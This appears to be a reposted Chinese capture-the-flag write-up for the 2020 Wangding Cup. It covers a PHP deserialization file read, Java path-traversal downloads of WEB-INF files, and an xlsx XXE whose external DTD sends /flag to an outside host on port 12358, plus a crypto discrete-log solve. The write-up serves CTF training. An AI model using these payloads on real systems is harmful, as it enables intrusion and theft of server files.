2020网鼎杯_青龙组

0x01 misc_签到题

有必要说一下签到题,进去后是一个答题的模式,可能大家觉得答几道后还不出flag就会失望,或者转去其他地方找突破口。但是每次答完后它会给你一个称谓,可能你答对题数越高地位称呼会越高,最终能拿到flag吧。
在这里插入图片描述

  • 作对15道后会出现提交Token的提示框。提交本队的token后,可以F12得到flag。或者用bp抓包,当提交后才能抓到包。
    在这里插入图片描述
  • 所以明显看到就是给/flag.php以post方式提交token就行了。有大佬说直接读js源码就可以找到这个信息。
    在这里插入图片描述

0x02 WEB_AreUSerialz

  • 上源码:
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 读取上面源码,看到_construct给几个属性赋值后会指向process(),其中就是对$op的判断,当$op=1时,只会对文件进行读取后输出‘sucessful’或者’failed’,所以我们得让$op=2之后,可以读取$filename文件,将其构造为flag.php。最后对$content没要求,可以任意字符串。
    exp:
<?php
class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = 2;
        $filename = "flag.php";
        $content = "Hello World!";
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$a=new FileHandler();
$b=serialize($a);
echo $b."\n";
var_dump(is_valid($b));
?>
  • 生成结果:
O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}

我们需要自己给其中添加值,并且因为三个属性是protected类型,所以会生成chr(0)*chr(0)

O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}
  • 但是is_valid()会对生产的payload进行检验,不能出现ascii小于32的字符。所以%00是通不过的。
  • 方法一: 这里利用的是php7.1+的版本对属性的类型不敏感,所以本地序列化时直接将属性类型改为public即可绕过。
    即为:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
  • 但是读不出来,所以应该要用到绝对路径。
  • 任意文件读取apache的配置文件,路径为/etc/apache2/httpd.conf.
?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:23:%22/etc/apache2/httpd.conf%22;s:7:%22content%22;N%22;

得到了apache项目部署的路径为:
在这里插入图片描述
所以最终的payload为:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";N;}

得到flag:
在这里插入图片描述
方法二:

  • 这道题有一个问题,当传入不正常的序列化串时,就可以用相对路径读取flag.php。
  • 比如去掉最后的括号就可以读取flag。
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;

0x03 WEB_filejava

进入后可以上传文件,任意上传一个文件,然后可以下载这个文件,这时候可能存在任意文件下载的问题。
会有个filename的参数可以实现目录穿越.
在这里插入图片描述

  • 通过查看不存在得文件得出该站点为docker容器+tomcat中间件+file_in_java站点。
  • Fuzz得出tomcat网站对应的服务器绝对路径。使用usr/local/apache进行fuzz测试。测试对应的tomcat容器。
  • 构造读取tomcat下的file_in_java配置文件:WEB.XML
/file_in_java/DownloadServlet?filename=../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
  <display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>
  <servlet>
    <description></description>
    <display-name>UploadServlet</display-name>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>ListFileServlet</display-name>
    <servlet-name>ListFileServlet</servlet-name>
    <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>ListFileServlet</servlet-name>
    <url-pattern>/ListFileServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>DownloadServlet</display-name>
    <servlet-name>DownloadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

1.之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译(我用的JD-GUI)得到源码:

?filename=../../../../../../../../../../../../../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

在这里插入图片描述

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
  
  try {
    Workbook wb1 = WorkbookFactory.create(in);
    Sheet sheet = wb1.getSheetAt(0);
    System.out.println(sheet.getFirstRowNum());
  } catch (InvalidFormatException e) {
    System.err.println("poi-ooxml-3.10 has something wrong");
    e.printStackTrace();
  } 
}

2.直接下载tomcat下部署的file_in_java.war包。

?filename=../../../../../../webapps/file_in_java.war

也可以在相应的位置找到几个class文件。
用java-gui打开
在这里插入图片描述
关于excel的xxe:
先在[Content-Types].xml中引用外部dtd实体:

<!DOCTYPE y1ng [<!ENTITY % remote SYSTEM 'http://gem-love.com/y1ng.dtd'>%remote;]><y1ng/>

y1ng.dtd:

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://gem-love.com:12358/?q=%file;'>">
%int;
%send;

然后再给压缩回去,上传,flag就打回来了。

0x04 WEB_Notes

给了源码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

undefsafe的原型链污染

0x05 Crypto_you_raise_me_up

源码:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random

n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)

# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499

上解密脚本:

m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
n = 2**512
m = Mod(m,n)
c = Mod(c,n)
flag=discrete_log(c,m)
print(long_to_bytes(flag))

猜你喜欢

转载自blog.csdn.net/weixin_43952190/article/details/106043033